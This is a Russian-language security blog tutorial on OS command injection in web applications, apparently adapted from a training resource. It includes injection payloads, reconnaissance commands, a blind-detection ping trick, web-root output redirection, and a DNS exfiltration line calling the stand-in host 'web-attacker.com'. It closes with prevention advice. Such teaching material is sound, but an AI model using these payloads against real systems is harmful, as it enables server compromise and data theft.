🔐 Внедрение команды ОС для атаки на веб приложения — Information Security Squad
🔐 Внедрение команды ОС для атаки на веб приложения

В этой статье мы объясним, что такое внедрение команд ОС, опишем, как можно обнаружить и использовать уязвимости, изложим некоторые полезные команды и методы для различных операционных систем, а также суммируем, как предотвратить внедрение команд ОС.

Что такое внедрение команд ОС?

Внедрение команд ОС (также известные как шелл инъкция) — это уязвимость веб-безопасности, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором выполняется приложение, и, как правило, полностью скомпрометировать приложение и все его данные.

Очень часто злоумышленник может использовать уязвимость внедрения команд ОС, чтобы скомпрометировать другие части инфраструктуры хостинга, используя доверительные отношения для произведения атаки на другие системы организации.

Выполнение произвольных команд

Рассмотрим приложение для покупок, которое позволяет пользователю увидеть, есть ли товар на складе в конкретном магазине.

Эта информация доступна через URL, например:

https://insecure-website.com/stockStatus?productID=381&storeID=29
Чтобы предоставить информацию об акциях, приложение должно запрашивать различные устаревшие системы.
По историческим причинам функциональность реализуется путем вызова команды оболочки с идентификаторами продукта и сохранения идентификаторов:
stockreport.pl 381 29

Эта команда выводит состояние на складе для указанного элемента, который возвращается пользователю.

Поскольку приложение не реализует никакой защиты от внедрения команд ОС, злоумышленник может отправить следующий ввод для выполнения произвольной команды:

& echo aiwefwlguh &
Если эти входные данные передаются в параметре productID, то команда, выполняемая приложением:
stockreport.pl & echo aiwefwlguh & 29
Команда echo просто приводит к тому, что переданная строка летит в stdout, что является полезным способом проверки некоторых типов внедрения команды ОС.
Символ & является разделителем команд оболочки, и поэтому выполняются фактически три отдельные команды одна за другой.
В результате вывод, возвращаемый пользователю:
Error — productID was not provided
aiwefwlguh
29: command not found
Эти строки вывода демонстрируют, что:
  • Исходная команда stockreport.pl была выполнена без ожидаемых аргументов, и поэтому вернула сообщение об ошибке.
  • Внедрение команды echo было выполнено, и предоставленная строка была отражена в выводе.
  • Первоначальный аргумент 29 был выполнен как команда, которая вызвала ошибку.
Размещение дополнительного разделителя команд & после введенной команды обычно хорошая практика, поскольку она отделяет введенную команду от того, что следует за точкой ввода.
Это снижает вероятность того, что последующее действие предотвратит выполнение введенной команды.

Полезные команды

Когда вы определили уязвимость внедрения команд ОС, обычно полезно выполнить некоторые начальные команды, чтобы получить информацию о скомпрометированной системе.

Ниже приведено краткое описание некоторых команд, которые полезны на платформах Linux и Windows:

Цель команды Linux Windows
Имя текущего пользователя whoami whoami
Операционная система uname -a ver
Конфигурация сети ifconfig ipconfig /all
Сетевые коннекты
netstat -an netstat -an
Запущенные процессы
ps -ef tasklist

Уязвимости внедрения команд ОС вслепую

Многие случаи внедрения команд ОС являются слепыми.

Это означает, что приложение не возвращает вывод команды в своем HTTP-ответе.

Слепые уязвимости все еще могут быть использованы, но требуются разные методы.

Рассмотрим веб-сайт, который позволяет пользователям оставлять отзывы о сайте.

Пользователь вводит свой адрес электронной почты и сообщение обратной связи.

Затем серверное приложение генерирует электронное письмо администратору сайта, содержащее обратную связь.

Для этого оно обращается к почтовой программе с предоставленными данными.

Например:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Вывод команды mail (если есть) не возвращается в ответах приложения, поэтому использование полезной нагрузки echo не будет эффективным.

В этой ситуации вы можете использовать множество других методов для обнаружения и использования уязвимости.

Обнаружение слепой инъекции команды ОС с использованием временных задержек

Вы можете использовать введенную команду, которая вызовет задержку по времени, что позволит вам подтвердить, что команда была выполнена, основываясь на времени, которое требуется приложению для ответа.

Команда ping — эффективный способ сделать это, так как она позволяет вам указать количество отправляемых ICMP-пакетов и, следовательно, время, необходимое для выполнения команды:

& ping -c 10 127.0.0.1 &
Эта команда заставит приложение пропинговать свой loopback сетевой адаптер в течение 10 секунд.

Использование слепого внедрения команды ОС путем перенаправления вывода

Вы можете перенаправить вывод введенной команды в файл в корневом веб-каталоге, который затем можно получить с помощью браузера.
Например, если приложение обслуживает статические ресурсы из расположения файловой системы /var/www/static, вы можете отправить следующий ввод:
& whoami > /var/www/static/whoami.txt &
Символ > отправляет вывод команды whoami в указанный файл.
Затем вы можете использовать свой браузер, чтобы перейти https://vulnerable-website.com/whoami.txt для получения файла и просмотреть выходные данные введенной команды.

Использование слепого ввода команд ОС с использованием out-of-band (OAST) методов

Вы можете использовать внедренную команду, которая будет запускать out-of-band сетевое взаимодействие с системой, которой вы управляете, используя методы OAST.
Например:
& nslookup kgji2ohoyw.web-attacker.com &
Эта полезная нагрузка использует команду nslookup, чтобы вызвать поиск DNS указанного домена.
Злоумышленник может отслеживать наличие указанного поиска и, таким образом, обнаруживать, что команда была успешно введена.
Канал out-of-band также обеспечивает простой способ экфильтрации вывода от введенных команд:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Это приведет к поиску DNS в домене злоумышленника, содержащем результат команды whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Способы инъекции команд ОС

Могут быть использованы различные метасимволы оболочки для выполнения инъекций команд ОС.

Несколько символов функционируют как разделители команд, позволяя объединять команды в цепочку.

Следующие разделители команд работают в системах Windows и Unix:

  • &
  • &&
  • |
  • ||
Следующие разделители команд работают только в Unix-системах:
  • ;
  • Новаястрока (0x0a or \n)
В системах Unix вы также можете использовать обратные метки или символ доллара для встроенного выполнения введенной команды в исходной:
  • ` введение команды `
  • $( введение команды )
Обратите внимание, что разные метасимволы оболочек имеют слегка различное поведение, которое может повлиять на то, работают ли они в определенных ситуациях и позволяют ли они получать извлеченный вывод команды или используются только для слепой эксплуатации.
Иногда вводимые вами данные отображаются в кавычках в исходной команде.
В этой ситуации вам необходимо завершить цитируемый контекст (используя «or») перед использованием подходящих метасимволов оболочки для внедрения новой команды.

Как предотвратить атаки инъекции команда ОС

Безусловно, самый эффективный способ закрыть эти уязвимости, связанные с внедрением команд ОС, — это никогда не вызывать команды ОС из кода прикладного уровня.

Практически в каждом случае существуют альтернативные способы реализации требуемой функциональности с использованием более безопасных API-интерфейсов платформы.

Если считается неизбежным вызывать команды ОС с предоставленным пользователем вводом, то должна быть выполнена строгая проверка ввода.

Некоторые примеры эффективной проверки включают в себя:

  • Проверка по белому списку разрешенных значений.
  • Подтверждение того, что ввод является числом.
  • Проверка того, что входные данные содержат только буквенно-цифровые символы, и отсутствует какой-либо другой синтаксис или пробелы.
Никогда не пытайтесь дезинфицировать входные данные, избегая метасимволов оболочки.
На практике это слишком подвержено ошибкам и уязвимо для квалифицированного злоумышленника.

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

5e7fa976b0640d40